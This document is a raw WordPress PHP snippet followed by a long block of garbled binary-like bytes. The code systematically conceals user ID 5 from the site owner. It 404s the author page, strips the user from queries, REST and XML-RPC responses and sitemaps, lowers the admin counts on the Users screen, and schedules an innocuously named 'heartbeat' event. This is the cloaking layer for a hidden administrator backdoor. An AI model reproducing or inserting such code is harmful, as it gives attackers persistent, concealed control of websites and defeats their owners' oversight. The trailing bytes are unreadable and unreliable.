add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝oYrϻVG"H/2hR-DjI9sHU5)nSZ3{lu}|_/>vb;|]tz?ä?3\vm=_byew?_ ο ?/wmw~u[_aqvyZ^np SpS./&'}mwwllWdZnv\rZvM<զw|ПCrܼ[o6;_/oqXͺysv}X]'9j7cw?o.݇כeisPAD߼>ܿ<1%bFw=qמRqi Sc .ÔF܁Un)$pאT$OtF8 78F|TA1rp wk wt17xVܞ䠎hxވ;crkTˊ*黖;Ndrz͔ V68J]M!LF~WXA&n? n;c饜zBtI)<P'OIsVv,}'l!ΎUscBTر^H7D/=ovlGOBx#="p=omdǒ Ac`w4z#zJwbws4yWnld7=q7XS+Qw"smw5zޱOS7]>ͱQԳ]^ty{F;o-7UtF3%l A a^}p06>8M|ٟW3A$iB"V 4A=R?օ1i€tGO$Lk'OF7fD"Oj+} $Oj:lDP{㚟C)p2A6HL= ;pа*zJ XC^C 'Mc%19!Їt}Yp:|e$Q:tw!4ʼn))%W\=3h}R ޗ?\{p_#kE!qs3K8ԱQ8 Y,s( #znd xt2TX&q#XsvznFa(M6.n83MJS_mWw- -HN"pʤ$88gM\6 #X!y>6Y!iTf#f3*zQ*\7 N|ϧ艓hAiԏ'ubւT!tRq*zd(J=y|p'bÂ56dpѬ4&wGxt|LhgY8ˎ;RCVj*"s c3zp⚌RCctȉF''Pi(r<)>š"pUxd{|҃G5 % td^QpP8Akddyo0r1ypk[YpKqǁa7z9S^BpΒԊ霬9vd *B8B1 a,'q͉C@xUy|M\*p$pNukNQT8$p $UG{C#bURV;#q8B}{]ڤMʬ$f-H{pSg;$:8;!'+ ^=QBF!}( .]V B0:w>(r@ ޯ3*LuUS&{LBF6WI 55ARx88$6J7sV׭ !?< (8 G!hk](Bi`⁣Fr&{VLUz7(LEdkFW1FQ!2UB2?s\Fe )2 Γ2 mCE ˨YQ;MV.wJQ,%~GӇQVI\%sR'EɁWw(d,qrd.fWAV+EK?On-K3w2p 4F%R(C7 +J/qlF[d-^ːO.pd>YIr!(ϼvdddK'r-oc-DQr* 銠 vDϲAc+ʴIs[%ɑtHEd˶9#wdڬ,cKWCA# CR2ki=0;s#Efv rzNgr^a&⡓m'$K>ewNۑ4Ϟѓ˴Ѫecɞ\Fi ˕%_/'1Ey~D!hxBԝ9-)9Jr8ڗP ӡ,ϛRyoJ 9i_U"kE GƔ$ccnWiEɁi=y, *'dx[;)o47+ʑh='rENf:*^-#Ks%3cOuóLʒXg3l2sLw7fQh&M<=9]VRRHE!?0buQ̹KJX)v2]ǙeɃr[8$䅆k$rvYE$"Y-(ݖ䐼W u\ rn Ғ+kF{^KN1'ǣs˒bPO. (%"a5ck|M$"ʭce]-)\PgyehEON]ۓ0(yB58,9&{)G~\ОJ=y1;ғD)Z w"f?rF ;P0ߨѓs2t|\O1dm%ω%3-y:slrzC4Zןz'Xgg[zr<yCv~h.4<۷,yR6=ow͏ M\:FϵГBT5,='kQyϑys;4\ %Kr%E!-{r?mv[ )({rH(8/rZ;䔹bqșVm{pW3\pˁ<,/I/V`2(x!ہ;8@W< :8 8bVĭ y! xx]Byc|Uv.=xV V{ͨɦpuPrF:X1m")U]wr?t% {NNd'AprvDdD^A /`pIps{8\{[W]pmBN!5>+UqsTq9͘ɕ<eSPVٔðG*j'n$:A\>XU|7H!7eS#ErUvuve:.<*FR;mIh5' bLUh !qR J]FIԓ7앍T,?-02A ˛ĽcYSa*7lWzntJ[i~V*l w{~4G]#)SܪOU(ԛaK-^>WODOS՜h}x;y7MTH*Ҙ(_=}v=OsuQ.gFgr#?`xw=?HZ__Nٴ@OUlHH7y;D}X/śgauL$))t51_(7+jѬDt@>Yz-,zG#F^&T0u6GGF}͆リ၄Ԉ٩pNM;uǺ]}/t|1LG٬åojO"a-R(5׽0 !?T՘ ½jy +Z1onYhH1b_80~~e3~$SwދVtTͯMKtrMR ~ >uKyf<(>u ? _R7^Cucm0y͂\SYq_NJs;n V4!ćWME 6'sw¾cلvfm=0%߶.ӏ_Wa94Z'4*mj۹qa^C3y#޺riK/;Zd=ĠCu2pp`n~?Nj5|]bK14Ң{iEηI Y@gT}OA^ޙ˃tjY[lY;sP<ދxGU}|_xd/۴}|_Ȇ8dP%a2<[u2>܇twx ]\:gtyN箋 lv :7zֹofW[tnjkҾy4kjGv!2؋x:9(ـמh)Yqː;N)I7yuZ?ݓg#2~t=i6϶K'c|%ne^'|'&ޟ訏ѿV\(7 q[=(񱻞k؟}"c0yX`ÑբoaЋb>;!KIYs}^̰jlg/8] x jp.2"]1Ei_y!e`pzTN2 SiW<{zt돋yGj,H?Y竇bn%!;!0W=a+I\/4Y2VvuޙWO4{P&=hp(xW۶;g_oQ{/(O\,I߅V{dfB:ӕ~]A.H}?tiߋp"48SL! OdC#6eOR >bH'zu>4'x6@u<.r(/[|4̺9>Pr|&閤isw85nyZwnrk֫zqӯQr\|? M&\x*,o#rdE# /ͮ217^3Fsʿ7Lv>